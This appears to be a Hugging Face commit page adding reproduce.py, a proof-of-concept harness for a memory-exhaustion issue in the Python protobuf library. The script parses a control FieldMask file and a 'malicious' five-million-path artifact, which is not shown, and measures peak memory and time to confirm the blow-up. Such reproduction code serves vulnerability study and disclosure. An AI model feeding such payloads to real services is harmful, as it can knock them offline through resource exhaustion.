hacnho commited on
Commit
f36c478
·
verified ·
1 Parent(s): cfb4127

Upload reproduce.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. reproduce.py +74 -0
reproduce.py ADDED
@@ -0,0 +1,74 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ from __future__ import annotations
3
+
4
+ import argparse
5
+ import json
6
+ import time
7
+ from pathlib import Path
8
+
9
+ from google.protobuf import field_mask_pb2
10
+
11
+
12
+ ROOT = Path(__file__).resolve().parent
13
+ ARTIFACTS = ROOT / "artifacts"
14
+
15
+
16
+ def vmhwm_kb() -> int | None:
17
+ with open("/proc/self/status", "r", encoding="utf-8", errors="ignore") as fh:
18
+ for line in fh:
19
+ if line.startswith("VmHWM:"):
20
+ return int(line.split()[1])
21
+ return None
22
+
23
+
24
+ def parse_one(path: Path) -> dict:
25
+ start = time.time()
26
+ before = vmhwm_kb()
27
+ msg = field_mask_pb2.FieldMask()
28
+ msg.ParseFromString(path.read_bytes())
29
+ after = vmhwm_kb()
30
+ first_len = len(msg.paths[0]) if msg.paths else 0
31
+ return {
32
+ "path": str(path),
33
+ "elapsed": time.time() - start,
34
+ "vmhwm_before_kb": before,
35
+ "vmhwm_after_kb": after,
36
+ "paths_len": len(msg.paths),
37
+ "first_path_len": first_len,
38
+ }
39
+
40
+
41
+ def main() -> int:
42
+ parser = argparse.ArgumentParser()
43
+ parser.add_argument("--control", type=Path, default=ARTIFACTS / "control_one_path.pb")
44
+ parser.add_argument("--malicious", type=Path, default=ARTIFACTS / "malicious_paths_5000000.pb")
45
+ parser.add_argument("--json-out", type=Path)
46
+ args = parser.parse_args()
47
+
48
+ control = parse_one(args.control)
49
+ malicious = parse_one(args.malicious)
50
+ summary = {
51
+ "format": "Protocol Buffers",
52
+ "protobuf_version": __import__("google.protobuf").protobuf.__version__,
53
+ "entrypoint": "field_mask_pb2.FieldMask().ParseFromString(...)",
54
+ "control": control,
55
+ "malicious": malicious,
56
+ "delta": {
57
+ "elapsed_ratio": malicious["elapsed"] / max(control["elapsed"], 1e-9),
58
+ "vmhwm_delta_kb": malicious["vmhwm_after_kb"] - control["vmhwm_after_kb"],
59
+ "paths_added": malicious["paths_len"] - control["paths_len"],
60
+ "repro_ok": (
61
+ control["paths_len"] == 1
62
+ and malicious["paths_len"] == 5_000_000
63
+ and malicious["vmhwm_after_kb"] - control["vmhwm_after_kb"] >= 150_000
64
+ ),
65
+ },
66
+ }
67
+ if args.json_out:
68
+ args.json_out.write_text(json.dumps(summary, indent=2) + "\n")
69
+ print(json.dumps(summary, indent=2))
70
+ return 0
71
+
72
+
73
+ if __name__ == "__main__":
74
+ raise SystemExit(main())